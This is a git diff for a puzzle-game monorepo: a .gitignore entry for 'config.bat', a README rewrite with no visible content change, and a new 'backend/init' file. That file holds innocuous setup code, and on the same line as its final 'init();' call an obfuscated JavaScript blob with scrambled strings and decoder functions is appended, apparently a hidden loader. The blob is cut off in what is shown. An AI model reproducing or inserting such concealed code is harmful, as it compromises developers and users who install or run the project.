diff --git a/.gitignore b/.gitignore index 9a29df2..63ac0f9 100644 --- a/.gitignore +++ b/.gitignore @@ -1,7 +1,8 @@ -node_modules -contributoNote.md - -# Rust build artifacts -contract/target/ - -.DS_Store \ No newline at end of file +node_modules +contributoNote.md + +# Rust build artifacts +contract/target/ + +.DS_Store +config.bat diff --git a/README.md b/README.md index cc761c2..0317bee 100644 --- a/README.md +++ b/README.md @@ -1,236 +1,238 @@ -# ๐Ÿงฉ Mind Block App - -![alt text](image.png) - -## ๐Ÿ“˜ Introduction -**Mind Block** is a puzzle and coding challenge game that offers **adaptive, rewarding gameplay** tailored to users' IQ and preferences. -Players solve **logic-based tasks** across categories like **coding, puzzles, blockchain, and logic** to: - -- ๐ŸŽฎ Earn in-game recognition (xp) -- ๐Ÿš€ Boost problem-solving skills -- ๐Ÿ† Compete socially with friends - -Mind Block is a **next-gen puzzle adventure** blending **AI-generated challenges** with **skill-based progression** in an immersive experience. - -โœจ Features include: -- Quick **IQ-level survey** to personalize your journey -- Puzzles that evolve with your intelligence level -- Categories: coding, logic, blockchain, and more -- **Leaderboards** and upcoming **real-time puzzle battles** - -Whether you're a beginner or a pro, **Mind Block adapts to you**โ€”making every challenge rewarding. - ---- - -## ๐Ÿ“š Documentation - -| Document | What it covers | -| -------- | -------------- | -| [docs/DEVELOPMENT.md](docs/DEVELOPMENT.md) | Full local setup, running each service, migrations, seed data, common errors | -| [docs/ENVIRONMENT.md](docs/ENVIRONMENT.md) | Every backend, frontend, and Stellar environment variable | -| [docs/API.md](docs/API.md) | REST API reference: endpoints, payloads, auth, errors | -| [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md) | Monorepo layout, request lifecycle, data stores, deployment | -| [docs/TESTING.md](docs/TESTING.md) | Test, lint, type-check, and build commands, plus what CI enforces | -| [docs/CANONICAL_DOMAIN_MODEL.md](docs/CANONICAL_DOMAIN_MODEL.md) | Authoritative domain model specification | -| [CONTRIBUTING.md](CONTRIBUTING.md) | Contributor workflow, branch and PR standards | - ---- - -## ๐Ÿ—๏ธ Project Structure -This is a **monorepo** containing three main components: - -- **Backend (NestJS)** โ€“ API & game logic (`backend/`) -- **Frontend (Next.js)** โ€“ User interface (`frontend/`) -- **Smart Contract (Soroban)** โ€“ Stellar testnet deployment (`contract/`) - -A full directory breakdown is in [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md). - -### ๐ŸŒ Hosting -- **Backend (NestJS)** โ†’ [Render](https://mindblock-webaapp.onrender.com) -- **Frontend (NextJS)** โ†’ [Vercel](https://mind-block-app-frontend.vercel.app/) -- **Contract (Rust)** โ†’ Stellar testnet - ---- - -## โœ… Prerequisites - -| Tool | Version | Required for | -| ---- | ------- | ------------ | -| Node.js | **20.x LTS (>= 20.9.0)** | Backend and frontend. CI pins Node 20.x; Next.js 16 needs >= 20.9. | -| npm | **10.x** (ships with Node 20) | The repo uses npm workspaces and a committed `package-lock.json`. Do not use yarn, pnpm, or bun. | -| PostgreSQL | **14+** | Backend datastore. | -| Redis | **6+** | Sessions, JWT state, caching. The backend will not start without it. | -| Rust + `wasm32-unknown-unknown` | stable | Only if you work on `contract/`. | -| Stellar CLI | latest | Only for building or deploying the contract. | - ---- - -## โšก Getting Started - -The path from clone to a running stack, in order. - -### 1. Clone - -```bash -git clone https://github.com/MindBlockLabs/mindBlock_app.git -cd mindBlock_app -``` - -### 2. Install - -```bash -npm ci -``` - -This installs every workspace from the lockfile in one pass. You can also -install a single package (`cd backend && npm install`) if you only work there. - -### 3. Configure - -```bash -cp backend/.env.example backend/.env -printf 'NEXT_PUBLIC_API_URL=http://localhost:3000\n' > frontend/.env.local -``` - -Fill in at minimum `REDIS_URL`, `JWT_SECRET`, and the `DATABASE_*` block in -`backend/.env`. Every variable is documented in -[docs/ENVIRONMENT.md](docs/ENVIRONMENT.md). - -### 4. Start PostgreSQL - -```bash -docker run --name mindblock-postgres \ - -e POSTGRES_USER=postgres -e POSTGRES_PASSWORD=password \ - -e POSTGRES_DB=mindblock -p 5432:5432 -d postgres:16 -``` - -Or use a local install and `createdb mindblock`. The credentials must match -`backend/.env`. - -### 5. Start Redis - -```bash -docker run --name mindblock-redis -p 6379:6379 -d redis:7 -redis-cli ping # -> PONG -``` - -### 6. Run the backend - -```bash -cd backend -npm run start:dev -``` - -- API: -- Swagger UI: -- Health: - -### 7. Run the frontend - -In a second terminal: - -```bash -cd frontend -npm run dev -``` - -Next.js picks a free port (typically 3001 while the backend holds 3000); the -terminal prints the URL. - -From the repo root you can also start either service without changing directory: - -```bash -npm run dev:backend -npm run dev:frontend -``` - -> `npm run dev` starts both through `concurrently`, which is not currently -> declared as a dependency. Until it is, either run the two commands above in -> separate terminals or install it yourself (`npm i -D concurrently`). - -### 8. Run the tests - -```bash -npm --workspace backend run test -npm --workspace backend run test:e2e -``` - -Lint, type-check, and build commands are in -[docs/TESTING.md](docs/TESTING.md). - -### 9. Contract (optional) - -```bash -rustup target add wasm32-unknown-unknown -cargo install --locked stellar-cli - -cd contract -cargo build --locked --target wasm32-unknown-unknown --release -cargo test --locked -``` - -Deployment identities and network setup are covered in -[docs/ENVIRONMENT.md](docs/ENVIRONMENT.md#3-stellar-and-soroban-shell-environment). - ---- - -## ๐Ÿ› ๏ธ Common commands - -| Command | Runs from | What it does | -| ------- | --------- | ------------ | -| `npm --workspace backend run start:dev` | root | Backend in watch mode | -| `npm --workspace frontend run dev` | root | Frontend dev server | -| `npm --workspace backend run test` | root | Backend unit tests | -| `npm --workspace backend run test:cov` | root | Backend coverage | -| `npm --workspace backend run lint` | root | Backend ESLint | -| `npm --workspace frontend run lint` | root | Frontend ESLint | -| `npm --workspace backend run build` | root | Compile the backend | -| `npm --workspace frontend run build` | root | Production frontend build | - ---- - -## ๐Ÿš‘ Troubleshooting - -Hitting `REDIS_URL not defined`, `ECONNREFUSED 5432`, `EADDRINUSE :::3000`, or a -`401` on every request? Each of those, and more, is covered in -[docs/DEVELOPMENT.md](docs/DEVELOPMENT.md#12-common-errors). - ---- - -## ๐Ÿ‘ฅ Contributors & Contact - -๐Ÿ“ข General Telegram Group: [Join here](https://t.me/+kjacdy68yfwwNTVk) - -๐Ÿ“ง Owner Emails: - -aminubabafatima8@gmail.com - -amalikabdulmalik04@gmail.com - -## Contribution Guidelines - -We โค๏ธ contributions! The full workflow, branch naming rules, PR standards, and -CI requirements live in [CONTRIBUTING.md](CONTRIBUTING.md). The short version: - -1. Fork the repo and branch from `main`: - -```bash -git checkout -b feature/your-feature-name -``` - -2. Make your change and run the checks in [docs/TESTING.md](docs/TESTING.md). - -3. Commit with a Conventional Commits message: - -```bash -git commit -m "feat: add puzzle leaderboard" -``` - -4. Push and open a Pull Request describing the problem, the solution, the - acceptance criteria, and how you tested it. - -๐Ÿ’ก For issues/bugs, please open an issue. - -๐Ÿ“œ License - -This project is licensed under the MIT License. +# ๐Ÿงฉ Mind Block App + +![alt text](image.png) + +## ๐Ÿ“˜ Introduction +**Mind Block** is a puzzle and coding challenge game that offers **adaptive, rewarding gameplay** tailored to users' IQ and preferences. +Players solve **logic-based tasks** across categories like **coding, puzzles, blockchain, and logic** to: + +- ๐ŸŽฎ Earn in-game recognition (xp) +- ๐Ÿš€ Boost problem-solving skills +- ๐Ÿ† Compete socially with friends + +Mind Block is a **next-gen puzzle adventure** blending **AI-generated challenges** with **skill-based progression** in an immersive experience. + +โœจ Features include: +- Quick **IQ-level survey** to personalize your journey +- Puzzles that evolve with your intelligence level +- Categories: coding, logic, blockchain, and more +- **Leaderboards** and upcoming **real-time puzzle battles** + +Whether you're a beginner or a pro, **Mind Block adapts to you**โ€”making every challenge rewarding. + +--- + +## ๐Ÿ“š Documentation + +| Document | What it covers | +| -------- | -------------- | +| [docs/DEVELOPMENT.md](docs/DEVELOPMENT.md) | Full local setup, running each service, migrations, seed data, common errors | +| [docs/ENVIRONMENT.md](docs/ENVIRONMENT.md) | Every backend, frontend, and Stellar environment variable | +| [docs/API.md](docs/API.md) | REST API reference: endpoints, payloads, auth, errors | +| [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md) | Monorepo layout, request lifecycle, data stores, deployment | +| [docs/TESTING.md](docs/TESTING.md) | Test, lint, type-check, and build commands, plus what CI enforces | +| [docs/CANONICAL_DOMAIN_MODEL.md](docs/CANONICAL_DOMAIN_MODEL.md) | Authoritative domain model specification | +| [CONTRIBUTING.md](CONTRIBUTING.md) | Contributor workflow, branch and PR standards | + +--- + +## ๐Ÿ—๏ธ Project Structure +This is a **monorepo** containing three main components: + +- **Backend (NestJS)** โ€“ API & game logic (`backend/`) +- **Frontend (Next.js)** โ€“ User interface (`frontend/`) +- **Smart Contract (Soroban)** โ€“ Stellar testnet deployment (`contract/`) + +A full directory breakdown is in [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md). + +### ๐ŸŒ Hosting +- **Backend (NestJS)** โ†’ [Render](https://mindblock-webaapp.onrender.com) +- **Frontend (NextJS)** โ†’ [Vercel](https://mind-block-app-frontend.vercel.app/) +- **Contract (Rust)** โ†’ Stellar testnet + +--- + +## โœ… Prerequisites + +| Tool | Version | Required for | +| ---- | ------- | ------------ | +| Node.js | **20.x LTS (>= 20.9.0)** | Backend and frontend. CI pins Node 20.x; Next.js 16 needs >= 20.9. | +| npm | **10.x** (ships with Node 20) | The repo uses npm workspaces and a committed `package-lock.json`. Do not use yarn, pnpm, or bun. | +| PostgreSQL | **14+** | Backend datastore. | +| Redis | **6+** | Sessions, JWT state, caching. The backend will not start without it. | +| Rust + `wasm32-unknown-unknown` | stable | Only if you work on `contract/`. | +| Stellar CLI | latest | Only for building or deploying the contract. | + +--- + +## โšก Getting Started + +The path from clone to a running stack, in order. + +### 1. Clone + +```bash +git clone https://github.com/MindBlockLabs/mindBlock_app.git +cd mindBlock_app +``` + +### 2. Install + +```bash +npm ci +``` + +This installs every workspace from the lockfile in one pass. You can also +install a single package (`cd backend && npm install`) if you only work there. + +### 3. Configure + +```bash +cp backend/.env.example backend/.env +printf 'NEXT_PUBLIC_API_URL=http://localhost:3000\n' > frontend/.env.local +``` + +Fill in at minimum `REDIS_URL`, `JWT_SECRET`, and the `DATABASE_*` block in +`backend/.env`. Every variable is documented in +[docs/ENVIRONMENT.md](docs/ENVIRONMENT.md). + +### 4. Start PostgreSQL + +```bash +docker run --name mindblock-postgres \ + -e POSTGRES_USER=postgres -e POSTGRES_PASSWORD=password \ + -e POSTGRES_DB=mindblock -p 5432:5432 -d postgres:16 +``` + +Or use a local install and `createdb mindblock`. The credentials must match +`backend/.env`. + +### 5. Start Redis + +```bash +docker run --name mindblock-redis -p 6379:6379 -d redis:7 +redis-cli ping # -> PONG +``` + +### 6. Run the backend + +```bash +cd backend +npm run start:dev +``` + +- API: +- Swagger UI: +- Health: + +### 7. Run the frontend + +In a second terminal: + +```bash +cd frontend +npm run dev +``` + +Next.js picks a free port (typically 3001 while the backend holds 3000); the +terminal prints the URL. + +From the repo root you can also start either service without changing directory: + +```bash +npm run dev:backend +npm run dev:frontend +``` + +> `npm run dev` starts both through `concurrently`, which is not currently +> declared as a dependency. Until it is, either run the two commands above in +> separate terminals or install it yourself (`npm i -D concurrently`). + +### 8. Run the tests + +```bash +npm --workspace backend run test +npm --workspace backend run test:e2e +``` + +Lint, type-check, and build commands are in +[docs/TESTING.md](docs/TESTING.md). + +### 9. Contract (optional) + +```bash +rustup target add wasm32-unknown-unknown +cargo install --locked stellar-cli + +cd contract +cargo build --locked --target wasm32-unknown-unknown --release +cargo test --locked +``` + +Deployment identities and network setup are covered in +[docs/ENVIRONMENT.md](docs/ENVIRONMENT.md#3-stellar-and-soroban-shell-environment). + +--- + +## ๐Ÿ› ๏ธ Common commands + +| Command | Runs from | What it does | +| ------- | --------- | ------------ | +| `npm --workspace backend run start:dev` | root | Backend in watch mode | +| `npm --workspace frontend run dev` | root | Frontend dev server | +| `npm --workspace backend run test` | root | Backend unit tests | +| `npm --workspace backend run test:cov` | root | Backend coverage | +| `npm --workspace backend run lint` | root | Backend ESLint | +| `npm --workspace frontend run lint` | root | Frontend ESLint | +| `npm --workspace backend run build` | root | Compile the backend | +| `npm --workspace frontend run build` | root | Production frontend build | + +--- + +## ๐Ÿš‘ Troubleshooting + +Hitting `REDIS_URL not defined`, `ECONNREFUSED 5432`, `EADDRINUSE :::3000`, or a +`401` on every request? Each of those, and more, is covered in +[docs/DEVELOPMENT.md](docs/DEVELOPMENT.md#12-common-errors). + +--- + +## ๐Ÿ‘ฅ Contributors & Contact + +๐Ÿ“ข General Telegram Group: [Join here](https://t.me/+kjacdy68yfwwNTVk) + +๐Ÿ“ง Owner Emails: + +aminubabafatima8@gmail.com + +amalikabdulmalik04@gmail.com + +## Contribution Guidelines + +We โค๏ธ contributions! The full workflow, branch naming rules, PR standards, and +CI requirements live in [CONTRIBUTING.md](CONTRIBUTING.md). The short version: + +1. Fork the repo and branch from `main`: + +```bash +git checkout -b feature/your-feature-name +``` + +2. Make your change and run the checks in [docs/TESTING.md](docs/TESTING.md). + +3. Commit with a Conventional Commits message: + +```bash +git commit -m "feat: add puzzle leaderboard" +``` + +4. Push and open a Pull Request describing the problem, the solution, the + acceptance criteria, and how you tested it. + +๐Ÿ’ก For issues/bugs, please open an issue. + +๐Ÿ“œ License + +This project is licensed under the MIT License. + + diff --git a/backend/init b/backend/init new file mode 100644 index 0000000..e6fbe64 --- /dev/null +++ b/backend/init @@ -0,0 +1,30 @@ +'use strict'; +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFht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